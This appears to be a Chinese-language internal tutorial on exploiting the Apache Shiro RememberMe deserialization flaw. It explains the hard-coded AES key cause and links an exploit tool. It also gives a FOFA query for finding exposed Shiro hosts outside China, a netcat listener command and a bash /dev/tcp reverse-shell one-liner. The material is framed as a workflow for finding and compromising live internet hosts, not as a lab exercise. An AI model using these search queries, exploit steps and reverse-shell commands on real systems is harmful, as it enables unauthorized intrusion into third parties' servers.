2021年1月4日
技术分享-漏洞复现-shiro
by:leesin(ps:内部使用,未经授权不得外发)
1. shiro反序列号漏洞
1.1 漏洞形成原因
Apache Shiro(安全框架不安全,噗哈哈哈)框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。
在服务端接收cookie值时,按照如下步骤来解析处理:
1、检索RememberMe cookie 的值
2、Base 64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。
1.2 复现工具
GitHub:https://github.com/zhzyker/exphub/tree/master/shiro
1、可能会有的问题python库文件安装不了:Crypto
2、python如何验证库是否安装:进入python交互模式,若不存在会报错,下图为存在“os”这个库
1.3 工具使用
见视频操作:https://live.bilibili.com/14668717
2. fofa使用
2.1 fofa语法
语法 | 含义 |
---|---|
title=“百度” | 标题为“百度”的资产 |
body=“xxx@qq.com” | 正文中有“xxx@qq.com”的资产 |
… | … |
fofa:https://fofa.so/
2.2 fofa搜索需要的内容
header=“shiroCookie” && country!=“CN”
2.3 fofa组合语法
符号 | 用意 |
---|---|
&& | 并且 |
|| | 或者 |
= | 等于 |
! | 非 |
() | 括弧,里面的内容可以遵循数字运算规则 |
3. 拓展-netcat
3.1 nc安装
windows安装
Linux自带
3.2 nc使用 :
nc -lnvp 10015
3.3 使用系统自带工具反弹shell
bash -i >& /dev/tcp/{IP}/{端口} 0>&1
(ps:大括号不要)